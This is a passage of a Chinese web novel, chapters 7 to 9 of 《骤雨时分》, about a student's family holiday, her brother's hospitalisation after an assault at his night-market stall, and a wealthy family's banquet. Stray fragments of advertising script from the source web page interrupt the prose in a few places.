桌子上的菜吃得差不多了,有人想再加几道菜:“刚才那服务员哪去了?这么半天都不知道进来服务一下?” 王老师尴尬说道:“啊,刚才那位是我学生,我带酒了就没让服务员再进来。” “难怪呢,我寻思年轻漂亮的气质又好,咋能想不开来当个饭点服务员呢,原来是王老师学生啊。”那人并没有觉得自己口误不好意思,只是顺着王老师的话继续说。 “来都来了,怎么不叫她留下来一起吃个饭,好歹见见场面。” 王老师见惯了这种场合,只是一方面学校里都知道陈易有男朋友,另一方面她的性格不适合这种地方,所以也没敢留她。 “下次有机会的,我给各位老板介绍认识一下,还是我们外国语系花呢,学习也很优秀。” 陈易早上六点多起床,看见手机上有几个刘露珈的未接来电,时间是半夜十二点多。陈易给刘露珈发信息问一下情况,去食堂买了两个鸡汁包子作为早餐。 国庆当天的高铁站果然人山人海,陈易到了B市在高铁站外拼了个出租车回家,家里人都知道她今天回来,陈易一进家门就看见弟弟和妈妈在厨房洗菜。 “你姐回来了,快去看看!”陈易妈妈听见开门声,让儿子去迎接女儿陈易回家,自己在围裙上擦擦手匆忙从厨房出来。 “姐!中午还没吃饭吧,你想吃麻辣香锅还是水煮肉片?” 7. 回家 《骤雨时分》文/薄荷小企鹅 2024/10/14晋江文学城首发 - 弟弟陈恩冲出来迎接姐姐,一手接过陈易的行李箱,一手帮她从玄关的鞋柜里拿出专属拖鞋。 “水煮肉片吧,好久没吃到这个味道了。”陈易话音刚落,妈妈何清婉也匆匆从厨房出来,看见陈易的一瞬间抱住了她。 “是不是瘦了?学校食堂肯定没有家里的合口味,”何清婉看着陈易的身形忍不住心疼,“洗洗手去看电视,我和小恩做饭一会儿就好。” 陈易在屋里看了一圈,没看见爸爸,于是问道:“我爸上哪去了?今天不会还在营业吧?” 陈恩帮忙把客厅收拾出来,说:“昨天有几个邻居预定了挺多的地瓜吐司和南瓜吐司,爸早上四点就去店里了,说中午就打烊歇业。” 陈易父亲在B市有两家吐司面包店,小区群聊和小程序都可以预订,如果没有预订的话每次吐司一出炉就马上售罄,生意好得很。如果不是前几年疫情亏了很多钱,现在大概可以开三四家分店了。 陈易进入自己的房间,一个多月没有回来房间内仍是一尘不染,粉色和浅黄的颜色搭配显得整个房间光线更好,白纱的双层窗帘被微风轻轻卷起,一切都显得那么静谧美好。她换了睡衣躺在床上,时不时从窗户吹进来的风赶走了屋内的燥热和暑气。 弟弟陈恩敲门进来,给她端过来一杯柠檬茶,“姐,你尝尝这个,我最近一直在夜市卖这个,卖得可好了。” 陈易浅尝了一口,她很爱吃酸的东西,这杯收纳柠檬茶陈恩特意把柠檬片多放两片。陈恩看着姐姐的反应,眼睛亮晶晶地期待陈易的评价。 “好喝,”陈易眼睛弯弯得像是月亮,竖起拇指给陈恩点赞,“薄荷感觉很清爽,我就喜欢这种口味的,搭配点小吃应该会非常解腻。” 陈恩自从今年高考没考上大学,在家附近一个大专上学,每天晚上回家从车库拿了摆摊的小推车就去夜市“创业”,柠檬茶的配方他在网上买过几个,自己又改良了才有现在的版本。除此之外,他还卖韩式炸鸡,价格便宜夜市来往的人也多。 “我还做韩式炸鸡,姐你晚上来夜市找我,我给你做!”陈恩听见姐姐的表扬憨憨地笑,嘴角都快咧耳根子了,最近自己的“创业”还算成功,总算有机会在姐姐面前表现一番。 中午十一点,陈易爸爸准时回家,何清婉和陈恩在厨房忙活一个多小时,做了三菜一汤。番茄炒蛋、水煮肉片、嫩炸虾仁、冬瓜肉丸粉丝汤。 吃饭的时候,陈恩一直给陈易夹菜,陈易的饭碗堆得像小山一样高。陈易爸爸看着姐弟俩相处和谐,笑着说:“七七,你可得快点吃啊,一会掉出来了。”七七是陈易的小名,只有一家人相处的时候才会叫她小名。 陈易闷头干饭,何清婉想起女儿爱吃烤鱼,说道:“隔壁张姐说碧湖那边有一家烤鱼可好吃了,咱们国庆这几天刚好全家都有空去吃一下,就是不知道现在能不能抢到号了。” 或许是姐姐在家了,陈恩显得兴奋异常,手舞足蹈地就要去拿手机查,被陈易爸爸按住:“先吃饭,一会儿再看。” “好!”陈恩偷偷看了陈易一眼,喜悦心照不宣。 陈易努力吃了两碗饭,母亲何清婉还要给她盛饭,陈易赶紧抱住自己的碗,脸上一副求放过的表情:“妈妈,我喝点汤就好了,真的吃不下了。” 陈易舀了两勺汤,放在屋里的手机响了。陈易拿纸擦嘴,匆匆起身往房间跑:“我去接一下电话。” 来电是张志漫,陈易到屋里的时候电话刚挂,陈易正在纳闷呢,张志漫随即打来视频电话。 “小易,我昨天到家就睡着了,太累了,”张志漫此时光着上半身,人还在被窝里,头发乱糟糟地一看就没睡醒的样子,“你昨天给我打电话有什么事吗?我正要和我弟出去吃烤肉拌饭呢。” 陈易把房门关紧,说话轻声细语的:“没事啦,我也到家了正在吃饭呢,晚点再给你打。” “诶等等!”张志漫打了个哈欠,有点不悦地说道:“咱们都谈三个月了,你怎么还是遮遮掩掩的,难不成怕被你家里知道啊?” 陈易谈恋爱的事情确实没有和家里讲,所以每次和张志漫打电话的时候都小心翼翼的。倒不是觉得这是不光彩的事情,只不过从小家里管得很严,上大学前被父母要求不能谈恋爱,虽然现在是恋爱自由了,但是她还没想好要怎么和家里说。 “不是啦,大家都等着我吃饭呢,我晚点回给你哦。”陈易提心吊胆地看着门的方向,生怕下一秒响起敲门声。 “那你亲我一下。”张志漫举起手机对准自己的脸,手指着自己的脸颊,一副厚颜无耻的样子。 陈易有点脸红,这么肉麻的行为她有点做不出来,又怕他生气,拿近手机有点草率地说:“mua,好啦,我先挂了啊。” “这么敷衍。”张志漫翻了个白眼,后面的话还没说出来,就被挂了电话。 等陈易再回到餐桌前,大家都心领神会地默默夹菜。陈易心想怎么都不说话了,转头看见弟弟陈恩的脸假装埋在饭碗里实际在偷笑。 “七七,有空把男朋友带回家,一起吃个饭,见个面,”陈易爸爸率先开口,他对女儿恋爱这种事情一直都不算严苛,“之前是怕你耽误学习,现在你都上大学了,谈恋爱是你的自由。” 陈易以为自己刚才的声音很小,不理解他们怎么会发现。陈恩一脸八卦的样子:“之前暑假的时候有一次你没关门,我和爸在客厅都听见了,而且姐你有时候打电话藏着掖着一样,我们猜都猜出来了。” 陈易低头假装认真喝汤,脸上绯云一片片,原本怕被揭穿现在反倒没有藏着的必要,倒是要如何和他们解释张志漫…… “七七,你长得漂亮学习又好,”母亲何清婉是C市音乐机构的合伙人之一,年轻时候琵琶演奏拿过赛区第一,还在韩国和欧美国家拿过个人奖项,对于自己的女儿她心里有数,“咱们不说找个富二代,但是怎么也不能找个条件太差的。” 陈易的回答主打一个田忌赛马:“他是我们学校土木工程的,绩点一直第一,之前全国土木设计赛还有好多比赛都拿了名次,去年还拿了国家奖学金,不出意外的话大概率会被保研。” 陈易爸爸听见女儿的描述,稍微松了一口气:“那他家庭怎么样?” “这个没了解过,他家里是A市的。”陈易和张志漫才谈三个月,两个月出来约会的次数都屈指可数,她怕问得太多会被人家误解查户口的。 何清婉微微蹙眉,杏眼专注地看着陈易,缓缓说道:“A市有点远啊,而且那边重男轻女现象有点严重,你再好好考虑考虑。” 父母不希望她远嫁,能留在本市是最好的,实在不行去一线的C市发展也可以,毕竟在C市读的大学,毕业后留在C市也会有很多人脉关系。但是A市的发展和前两个城市没得比,尤其近外五县的地方几乎没什么特别好的资源。 “嗯,我知道了。” 下午陈恩用手机预约了10月5号的碧湖江河烤鱼,前面四天都被预定满了,只有5号中午有位置。晚饭之后,陈恩去车库把小推车拿出来,拉着一大箱的食材说去夜市准备出摊。 陈易爸爸在沙发上看电视,何清婉叫来了几个音乐机构的朋友来家里打麻将,正巧 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 看见从屋里出来的陈易。 “哎呀,这不是陈易嘛,都长这么大了,快两年没见到了。”说话的女人是机构合伙人之一,与何清婉认识十多年,算是看着陈易长大的。 “苏姨晚上好,国庆快乐。”陈易刚和张志漫打完电话,一出来就看见客厅里打麻将的几个阿姨,一时有点紧张。 “国庆放假回家了,休息几天啊?”苏姨笑着和她招手,陈易一过来,苏姨便爱怜地摸着陈易的手,感叹道,“都出落成亭亭玉立的大姑娘了,这么漂亮,要是我女儿多好。” 何清婉打出手里刚摸的牌,语气调侃:“叫你家儿子给你娶一个回去。” 苏姨一提起自己的儿子就觉得心绞痛,自己儿子十六七岁了,每天不学无术就知道惹事闯祸,不是出去喝酒打架就是在家里气人,一天天的根本不让人省心。 陈易想起来自己答应了弟弟晚上去夜市看他,和何清婉的几个朋友打过招呼,她匆促换上鞋子就出门了。 今天大概是国庆的原因,夜市的人比平时多了两倍,陈恩的摊位在夜市入口不远处的地方,这个地方客流量非常多,前后左右都围了一圈人。 “粉丝多送你两根地瓜条,下次再来啊。” “直播间的朋友们,我们出摊位置就在E大前面的夜市的,6号摊位,进来的兄弟们点点关注!粉丝来多送一个鸡块或者两根地瓜条。” 陈恩和同学在直播摆摊,之前只有周末出摊陈恩会叫同学来帮忙,今天国庆人太多了,陈恩一个人忙不过来叫了同学顾尹过来。 顾尹负责收钱、打包、和直播间粉丝互动,陈恩像是有三头六臂似的,一会儿做韩式炸鸡一会儿做手打柠檬茶。陈易在一旁围观了一会儿,来往的顾客源源不断,却显得旁边的几家摊位有点门庭冷落。 “你在哪排队的?来晚的站最后去!”有个牵着对象的年轻人看见站在队伍中间的陈易,大概以为她要插队,语气毫不留情:“大家都在这看着呢,别插队啊!” 陈易才发现自己不知何时站到了队伍里,赶紧从队伍脱身站到旁边。刚才的声音吸引了顾尹的注意力,他马上出来当调解员。 “每个人都有啊,今天准备的够多,大家不用插队啊!” 陈恩忙完手里的这份抬头刚好看见陈易,用袖子擦了擦额头的汗,喊道:“姐!”排队的客人看着陈易,不确定是不是在叫她。 陈易小碎步到弟弟旁边,陈恩小声和她耳语:“姐,我做完这份给你,你站这边来,那儿油烟大。” 陈易眼见弟弟这么忙,她推脱道:“不用了,我来这边看看你,等下就回去了。”陈恩把炸完的一份放旁边晾着,等下一锅出来装盒的时候,百忙之中趁乱把那盒炸鸡塞给了身后的陈易。 “老板,你这个是在直播吗?”有位顾客结账的时候指了指摊位前面支架上的手机。 顾尹笑着把柠檬茶递给顾客:“对,加个粉丝团再送两根地瓜条,好吃下次再来啊!” 陈易拿着弟弟给的炸鸡回到小区,刚好看见苏姨开着奔驰出来,见陈易正要上楼,苏姨突然叫住了陈易。 “小易呀,这两天放假了打算去哪玩?”苏姨笑眯眯的,哪怕是晚上十点多精致的头发和妆容也是一丝不苟,气质与其说是股东不如说更像是一位艺术家。 陈易顿了下,说:“过几天去岩清湖那边,苏姨国庆打算去哪里度假?” 苏姨看着面前水灵灵的陈易,似乎想象到她精心打扮一番后该是多么不同凡响。 苏姨挽唇笑道:“去哪里都是人山人海的,倒不如在家里清闲。对了,小易呀我们最近在做视频号宣传,你要不要来当模特?” 8. 和解的条件 《骤雨时分》文/薄荷小企鹅 2024/10/15晋江文学城首发 - 陈易早上七点多被陈恩在客厅的声音吵醒,快递冷链送来了两箱冷冻的货品,陈恩打算打开在客厅盘点着数量,陈易爸爸在旁边帮忙清点。 何清婉早上六点多就出去散步了,爷俩平时在家习惯了,忘记陈易还在睡觉,见陈易睡眼惺忪地打开房门,陈恩才不好意思地吐了吐舌头。 “对不起姐,我忘了你还在睡觉,”陈恩刚好清点完数量,打算把这些暂时搬运到吐司店的冰柜里,“这些是出摊要用的原料,我写错地址邮寄到家里了。” 陈易爸爸要开车带陈恩去店里,陈恩婉拒道:“我一会儿忙完就直接去出摊了,今天E大附近还有个美食节,去晚了就没位置了。” 陈恩才出门,陈易爸爸感叹道:“这小子最近不知道忙活什么,让他休息两天也不肯,出摊经常是早出晚归的。” 陈易懒洋洋地打了个哈欠,打算进屋睡个回笼觉:“一般这种情况,要么受到了什么打击,要么有自己的想法,您就别操心了。” 上午十点左右,陈易化了个淡妆背着琵琶准备出门,正巧看见何清婉在厨房洗菜。 “这副打扮是要去哪儿?小恩中午不回来,你也要出门啊。” 陈易直言:“妈妈,昨天苏姨让我帮她拍个弹奏琵琶的视频,说是宣传一下。” 何清婉听见并没有惊讶,最近她所在的音乐机构生意不如以前,学员相比去年少了将近一半,几个股东都商量着怎么宣传,视频和公众号都做了,但是效果并不理想。之前有打算要拍摄宣传视频,但是一直没什么进展。 “行,我知道了。回来时候给你爸打电话,让他去接你。” 苏姨约陈易在她家里拍视频,苏姨家里是独栋式洋房,家里的装修古香古色,苏姨穿着一条深蓝色的苏绣旗袍,手腕戴着一条半山水的翡翠手镯,手里一把荷花团扇,整个人站在玄关处优雅从容像幅水墨画。 苏姨远远地见到陈易笑逐颜开,迎接进屋后,从柜子里拿了件浅绿色的旗袍。 “小易,你换上这个看看合不合身?”这旗袍是早些年的订制,到手后也一次没穿过,后来上了年纪苏姨也就不喜欢这种淡雅素净的风格了。 陈易到客房换了旗袍,苏姨又找了根羊脂玉的簪子,给陈易随意挽了挽头发,苏姨像是欣赏艺术品一样连连赞叹。整个人气质温婉可人,耳畔垂落的青丝尤有几分画中美人坠落凡间的真实感。 陈易按照苏姨要求在书房和古琴拍了几张照片,随后苏姨又提议拍个氛围感短视频。比起只有图文的枯燥文章,大家都更喜欢看快节奏的小视频,苏姨早就想好了要怎么拍摄,所以昨天特意让陈易带着琵琶过来。 “小易,你随便弹个拿手的曲子就行,不用太拘谨,一定要表现得自然点。”苏姨在一旁指挥。 何清婉是机构的琵琶老师,陈易从小就被母亲何清婉“强迫”着学习琵琶,现在不说有多高的成就拿过什么奖项,至少随便弹奏几首曲子还是没问题的。陈易戴上护甲,调试了琴弦确定没问题,思考片刻,抬手弹奏一曲《琵琶行》。 清泠的声音如同玉盘走珠,时而婉转时而飘逸,仿佛让人感觉置身空谷,静静聆听享受这清澈的琴弦之音。陈易手指轻动,动情之处眉头轻蹙,眼眸柔得似是皎洁明月化作一滩水,泠泠之音像是凭空掉落的珠子,在一阵委婉凄凉的音调中收了尾。 “小易,你这功力见长呀,不如来我们这兼职助教老师吧。”站在一旁欣赏许久的苏姨兴奋地搓了搓手,赞叹陈易的演奏,尤其是陈易垂眸忧郁的神情,让人难免带入共情悲戚沉寂之感。 “苏姨过奖了。”陈易脸上浮现犹如绯红的晚霞,低头害羞的样子惹人怜爱。 “这视频在旁边加个《琵琶行》诗词字幕效果,后期再调整一下光感滤镜,完美!”摄影师第一次拍摄如此顺利,心情愉悦。 苏姨:“等下我们去院子里再拍个视频,那边有小亭子,环境也好。” - 擎天会所,林想刚摸了牌,放在茶几上的手机响了,他把手里这张牌打出去,匆匆起身去接电话。 “林哥,有人欺负我,”电话里的女人声音娇媚,恃宠而骄的样子,故意放大了音量:“林哥,你带几个人过来呗。” 林想听见这声音就觉得太阳穴突突,不想和她过多交流:“去不了,忙着呢。”挂了电话,把手机放到一边,看到李世刚打出来的那张牌,刚才的思路被打断了,烦躁地骂了一句:“余雯星那个婊/子,分手了还来刷存在感。” 李世指尖夹着香烟,嘴里也不闲着:“分手之前口口声声说宝贝儿,分手之后就是婊/子,啧啧啧。” 林想和余雯星谈了不到两个月,分手都快一个星期了,念在之前的旧情上,他暂且还没拉黑她的电话号,但她还不死心,不是求复合就是卖惨,实在惹人讨厌。 肖玄疏从不参与这种话题,常在河边走哪有不湿鞋,林想这种级别的海王早就是趟着水过河了。 林想的电话期间又响了几次,他本来就烦躁,看也不看地果断直接拉黑。本以为总算清净了,半小时后一个陌生的号码打进来。 “你好,是林先生吗?这里是B市蓝海区公安局,你认识一位叫余雯星的女士吗?”电话里的男人声音严肃,语速偏快。 林想的怒火没处发,克制地压低声音:“不认识,该判多少判多少,不用给我打电话。”余雯星居然把他的私人号码给出去了,他觉得心头烦躁像是有蚂蚁爬。 旁边又传来余雯星的叫声:“让我接一下电话,让我接一下电话!” 余雯星像是把电话抢过来,脸上满是泪痕声音沙哑:“林哥你再帮我一次,林哥你答应过我的!” 林想没说话,把电话开着搁在麻将桌上,电话里传来余雯星哭天喊地的叫声,过了一会儿,电话被挂断了。 李世听了就想笑,之前还没有女人纠缠这么久,谈个学生妹隔三差五就惹是生非:“林想,你现在后悔不?”李世贱贱地把手里的牌打出去,吸了口烟,眼睛笑眯眯地像是幸灾乐祸。 “打完这局我先走一步,”林想看了一眼对面淡然自若的肖玄疏,心里的烦躁让他只想尽快解决问题:“玄疏,今晚帮我打个招呼,我晚点到。” 林想到B市的时候天色已晚,公安局门口的值班民警接待了他,林想没看见余雯星的人,值班民警把审讯室的余雯星叫出来。 “林哥!”余雯星一看到林想如释重负,如果之前是枯萎的花现在就是迎风盛放,仿佛林想一来,她这朵花就起死回生了。 林想有些冷漠地睨着余雯星,此时她的头发乱如鸡窝,身上的衣服破了几个洞,脖子上还有斑驳血迹,整个人狼狈不堪。 “你去找对方家属谈一下赔偿。”林想吩咐身后的律师。他不了解事情经过,也没必要去了解,眼下要紧的只是解决问题。 余雯星恨不得冲上去抱住林想,此刻戏精上身,泪眼汪汪地说:“林哥,我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 都被人欺负成这样了,你怎么都不问我一下。” 林想:“没必要。” 陈易坐在审讯室外的椅子上,看见余雯星从审讯室出来,她紧绷的神经像是被人拉扯了一下,陈易谨慎地看着刚进来的两个人,不知道对方是不是要把余雯星保释出去。 “您好,我是余小姐的律师,怎么称呼您?”身穿黑色正装的男人拿出一张名片,似乎想和陈易拉近距离,弯腰将名片递给陈易。 陈易低头看那张名片,上面写着“章桓都岭外贸公司法务部”,下面还有一串邮箱和电话号码。 “刚才我有了解了一下案件的经过,您弟弟参与其中具有互殴行为,如果和解的话五万你看怎么样?不和解的话,双方都要拘留,您弟弟还在上大学,对他本人的影响也不太好,您说是吧?”律师像倒豆子一样,熟练地说着那些话,但是陈易一句话也没听进去。 陈易低头把名片撕成两半,轻笑一声,抬眸看向看似从容不迫、正义凛然的章律师。 “你如果真的了解经过,你应该知道事情不是这样的。” 律师:“据我所知,您弟弟确实有互殴行为,如果真的要判下来,双方都要吃亏。” “如果现在躺在医院的是你的家人,你也会这样讲吗?”陈易的眸子看向律师的眼睛,她的眼睛盯着他,眸光似是有水痕荡漾。 律师到嘴边的话突然卡住了,对方显然比她年轻不少,他猜想或许是个二十出头的年纪,大概是刚哭过了眼睛还有些红红的,但坚定的眼神和强硬的语气让他难免有些心虚。 “不如我们再谈一谈,再多一点也是可以的。” 陈易的眸子垂下来,一口否决了对方开出的条件:“不和解,大不了一起坐牢,看看谁判得重。” 陈易回忆起自己赶到现场的时候,弟弟陈恩有气无力地躺在地上,身上的白T恤都被血迹脏污染得看不出本来的样子,弟弟的同学顾尹被群众拉到了一边,腿好像也有骨折,但情况要比躺在血泊的陈恩好得多。当时围观的群众都说“要出人命了”,而肇事的人早就不知道躲到哪去了。 顾尹说是对方也是摊主,是对方看自己生意好觉得抢了生意,两人最初没理会对方的挑衅,还了句嘴两个人打起来了,后来不知道哪跑出来个女人抡着铁棍追着他们打。陈易不知道顾尹说得真假,后来看见围观的群众有隔壁的张姐,问了事情的经过才证实顾尹说得千真万确。 顾尹和陈恩都被拉去医院,顾尹家里只有一个年过半百的老父亲,现在医院陪着儿子,陈易的父母来了警察局后又赶往医院,听爸爸的意思陈恩一直在抢救室接受手术。 林想见律师半天没有回音,于是把律师叫走,等下还要赶回去给肖爷爷贺寿,他可没有耐心和时间在这里耗着。 “多少钱可以和解?你开个口,我尽量满足。”林想走到陈易面前,眼眸在陈易身上打量了一下,神色微变,眼前这容貌似是有点眼熟。 陈易没理会他,坐在那里仍旧不吱声,刚才匆匆从苏姨家赶来都没来得及换衣服,在发现对方在自己身上来回打量的视线,她不自然地抚平膝盖上旗袍的褶皱,换了个更优雅规范的坐姿。 “我应该在哪里见过你,”林想眯着眼睛打量陈易,忽然想起:“九月中旬,你去过合心DIY手工馆。” 听到这里,陈易的心口紧了一下。前不久她的确去过合心DIY手工馆,是周四下午和张志漫一起去的,但是对眼前这人没有一点印象,更何况对方此时提起来,不知在打什么算盘。 9. 真相 《骤雨时分》文/薄荷小企鹅 2024/10/18晋江文学城首发 - 林想见陈易一副警惕的样子,看来一时半会谈不妥。 “今天时间来不及,明天我的助理会和你联系。”林想蹙眉和律师吩咐了几句,匆匆离开。 前后不到半小时的时间,不知他是肇事者的什么人,似乎并不觉得这是什么大事,还语气轻松地说明天再来谈,这让陈易觉得心里很不舒服。自己的弟弟现在躺在抢救室不知伤势如何,对方几万块钱就要她签下和解协议,陈易深吸一口气,努力让心里的情绪平复下去。 刚还在一脸得意的余雯星,此刻被哭天喊地押回审讯室。等警局内又恢复了暂时的平静,陈易才发现自己放在椅子上的手机振动了很久,来电显示是张志漫,她犹豫了下,最后还是点了拒绝接听。现在出了这样的事情,她哪里还有心情和张志漫谈情说爱? 有好心的群众捡到了陈恩的手机送到警察局,警察把手机交给陈易,陈易感激地接过弟弟的手机,本以为手机趁乱中被人拿走了,没想到能失而复得。她尝试了几次密码总算打开陈恩的手机,最后一条聊天消息是他给顾尹发的。 【我爱地瓜吐司(陈恩):中午11点美食街,今天人多准时来嗷[呲牙]】 陈易不明白弟弟和对方是否早有纠纷,翻了几条聊天记录并没有发现什么端倪。一条物流信息的通知突然弹出,陈易点开购物app查看,发现弟弟购买了一条三千多块钱的粉色连衣裙。 陈易好奇地点开弟弟的购物历史记录,除此之外没有女生相关的用品。她仔细想了想这两天回家后陈恩的表现,似乎也没有谈恋爱的表现。陈易隐隐地有种预感,鬼使神差地点开弟弟和商家的聊天记录。 【我爱地瓜吐司(陈恩):你好请问多久发货呀?[宝贝链接:预售30天|重工雪纺|小香风多褶千重樱连衣裙]】 【千重樱(商家):你好亲,预售30天哦,定制下单后不接受退单哦。】 【我爱地瓜吐司(陈恩):我想送人不知道是否来得及,十月中旬可以发货吗?[天使]】 【千重樱(商家):您可以拍一下加急链接,国庆期间就可以出货哦[比心]】 【我爱地瓜吐司(陈恩):好,一定要尽快,不然我怕赶不上生日,可以包装的好看点再帮忙写张贺卡吗?[拜托]】 【千重樱(商家):可以哒亲亲,贺卡内容发一下哦~】 【我爱地瓜吐司(陈恩):祝姐姐生日快乐,永远十八~(#^.^#)】 陈易看到这里感觉脑海一片空白,原来弟弟每天这么这样拼命地赚钱,是为了偷偷地给她买昂贵的生日礼物。眼泪像断线的珍珠往下掉,陈易掩面泣不成声。 几分钟后,陈恩的手机自动锁屏,黑色屏幕上的几道裂痕如同她崩溃的情绪。 - 林想回到C市已经很晚,风尘仆仆赶到肖家老爷子八十八的寿宴现场,此时寿宴才开始没多久,肖老爷子在众人的贺词中切分八层的贺寿蛋糕,林想暗想自己进来得不是时候。 肖家老爷子今日穿着一如既往的朴素,头发花白,声音一如既往地雄厚有力:“这是都岭集团的林家小子吧,刚听玄疏说你那有些棘手的事情,这是解决好了?”今日会场人很多,无论是肖家的亲戚还是商圈大腕都来了,肖老爷子这么一讲,大部分人的目光都落在了林想身上。 林想听得出这是在点自己,马上赔礼道:“劳烦您费心了,您是今天的寿星,那些琐事怎能劳烦您费心。” 林家向来和肖家接触不深,曾经声名显赫的林家从三年前开始走下坡路,和如今势如破竹的肖家见面了还得低头绕着走。光是口头致歉是没用的,林想献上了自己的贺礼——一尊满绿的翡翠罗盘。听说肖家老爷子转幕后这几年,就钟意这种有点年头的翡翠古董,翡翠罗盘也是林想托了关系从一个海外的翡翠收藏家那里买到的。 “林家小子啊听说你最近在自己创业,你和我家玄疏相处,生意上的那些你多教教他,不然他玩心不改总没个正经事。” 林想谦逊地回应道:“实在不敢当,有些时候我也请教玄疏帮我拿拿注意。” 寿宴现场的人太多,肖玄疏此番回国也吸引了很多人的注意,在肖玄疏身边围得水泄不通。林想也是好不容易才和肖玄疏讲句话:“今天怎么没看见你二哥?” 肖家老爷子从六年前就放权给了肖玄疏的二哥肖蔺栩,肖蔺栩现如今是肖氏娱乐公司和影业的实际掌权人,只有海外集团的权力在肖玄疏父亲那里,平日里一家三代人同时出现的概率太低,所以肖蔺栩缺席好像也不奇怪。 肖玄疏轻哂:“可能忙着金屋藏娇吧。” 林想拿了杯酒去融入周围圈子,但无论在哪肖家总是有话题。肖家老爷子是最懂人情世故被传得手眼通天的老派资本家,肖玄疏是顶着风头回国的肖家三公子,即便肖蔺栩在场与否,都不影响今晚的气氛热烈密切。 李世隔着老远叫林想过来,林想才来就看见肖玄疏的二哥肖蔺栩被一群人众星捧月般地簇拥着进来。肖蔺栩先是到肖老爷子那边问个好,肖老爷子和肖蔺栩耳语了几句,慈眉善目地拍了拍肖蔺栩的肩膀。 肖蔺栩给人的气场和肖玄疏完全不同,肖蔺栩已过而立之年,身上更多的是沉稳内敛,但他名下几家实权的集团都在产业内属领头羊水平,听闻其手段也狠辣果断,颇有老爷子当年的风范。相比二哥肖蔺栩的果敢气魄,肖玄疏给人的感觉似乎就温柔和善许多,偶尔的慢条斯理不受约束,让人根本猜不透他的心思,更何况当年的家族联姻肖玄疏说走就走,一点不顾忌对方的面子,奈何老爷子又最宠着他,谁拿他都束手无策。 想要巴结肖蔺栩的人太多,以林想和李世现在的实力哪里排的上号,远远地观望着等待个机会。 “二哥,好久不见。”肖玄疏拿了杯酒走上前去,而手里端着酒杯正和人谈笑风生的肖蔺栩闻声侧头,漆黑的眼眸审视着面前的人,身上的气势像是受了压制的狮子蓄势待发。 肖蔺栩饶有兴味地看了肖玄疏一眼,转过头和聊得尽兴的朋友说:“失陪一下。”随即眼神示意肖玄疏换个地方说话,二人来到楼梯前的月台,这里灯光的光线暗淡,似乎是个说话的好地方。 “C大的项目一切顺利?”肖蔺栩脸上笑吟吟的,本来这项目是要自己接管的,结果家宴上老爷子临时起意,让他把项目交给才回国的肖玄疏。 “还好,”肖玄疏的语气毫无波澜,“本以为你今天不会来。” 在外界看来明争暗斗的二人,似乎关系并不如传闻一样那么糟糕。肖蔺栩作为兄长更为家族着想,从接手集团事务再到一步步在娱乐行业成为领跑,如果商业联姻最终不是以离婚黯淡收场,肖蔺栩的事业家庭都称得上一帆风顺。而肖家老爷子偏爱肖玄疏是众所周知的,尽管肖玄疏看似与世无争,一旦涉及到权力的交易马上利落脱身,肖老爷子一句怪罪的话都没有。 肖蔺栩注意到附近的人在言语交谈中,目光时不时的落在这边,两个人站在一起难免吸引目光,尽管外界传闻二人明争暗斗,众人却没有在今晚看出任何端倪。 肖玄疏看着周围热闹喧嚣,慢条斯理地晃了晃杯中的酒,似是无意提起:“今晚没带嫂子来?” 肉眼可见,肖蔺栩的笑意瞬间僵在了脸上,轻飘飘地说道:“她还不配。”肖蔺栩的眼神冰冷让人不寒而栗,周围旁观的人纷纷移开目光,随后只见肖蔺栩带着助理冷着脸离开了会场。 肖玄疏的桃花眼含笑看着离开的身影,李世走到他旁边拍了一下他,摸着下巴感叹道:“你和你哥说了什么啊?他看起来很生气。” “你猜。” 翌日清晨,陈易接到在医院的何清婉打来的电话,目前陈恩进入ICU观察,颅压高后期仍有危险。而陈易父亲那边从今天早上开始就奔波银行和医院两地,ICU前期费用每天小几万,要提前把接下来几天的这笔钱预支出来。 “你苏姨早上来看小恩了,拿了三万现金,”何清婉的声音有些疲惫,目前最担心的是钱解决不了的问题,“我和你爸在医院这边看着呢,你别在警局等着了,回家休息吧。” 陈易整夜没睡,由于是国庆各种事故高发的时间,不间断地有人各种原因来报案,值班的民警见陈易还坐在椅子上,劝她注意身体吃点东西。出了警察局她不知道去哪里,浑浑噩噩走到了B市中心医院的门口,看着来往如洪流的车辆和人群,觉得自己竟渺小无力。 她在医院的住院部门口站了一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 会儿,怔怔地看着躺在病床上被护工和家属推来推去的病人,自己的两条腿突然像灌了铅一样走不动路。她没有勇气去ICU面对守了一夜的憔悴疲惫的父母,也不敢想象躺在ICU的陈恩身上插满管的样子。 手中的电话再次振动,将陈易从昏昏沉沉中拉回了现实。电话是张志漫打过来的。 张志漫打来了视频电话,看得出来他刚睡醒,人还躺在床上,一副睡眼朦胧的状态。 “昨天晚上给你打电话你怎么不接啊?聊天消息也不回,”张志漫打着哈欠,用外卖APP挑选着烤肉拌饭,并没有注意到陈易苍白的脸色,“你现在在哪呢?怎么不说话?” 陈易动了动嘴唇,不知如何解释。她把视频调为后置镜头,周围医生护士来往的白大褂和嘈杂的人群声淹没了陈易沉重的呼吸。 “你在医院呢?出什么事了?”张志漫并没有意识到事情的严重性,“我刚点了个脆皮鸡双拼的烤肉拌饭,昨天晚上想吃结果关门了,不然我都不会起这么早预订的。” 陈易深吸口气,轻声说道:“我弟弟在ICU。”大概是因为医院来往人群嘈杂的声音,又或许张志漫在专心看着自己的外卖,张志漫没有接话,反而在哼哼着小曲。 “你早上吃饭了没?我这脆皮鸡烤肉拌饭还要二十多分钟呢。”张志漫问她。 陈易面无表情地挂了电话,隔了不到五秒钟,张志漫发来了一条消息。 【郜岩(张志漫):搞什么啊?又生气了?】 陈易本来不想回他,但一想到昨天也没和他说明白,索性把事情经过简单通过文字发给他。 【陈皮好甜(陈易):对不起,我这几天都要在医院和派出所两边跑,如果没事的话不要给我打电话了,我现在真的没心情。[图片]】 陈易拍了个自己在住院部前台的照片,随后开了飞行模式,不管张志漫再发来什么消息。 陈易回到家洗了个澡,换了睡衣在床上躺一会儿,一闭眼睛出现的场景是陈恩满身是血的样子。当时的陈恩一句话都说不出来,一只眼睛半睁着,嘴唇蠕动似乎要表达什么情绪。陈易觉得身上发冷,可窗外是阳光明媚的十月,早上八点的太阳晒得窗台上的花都朝气勃勃的。 担心何清婉又联系不上自己,陈易把自己裹在被子里,想了想又关闭了手机的飞行模式。 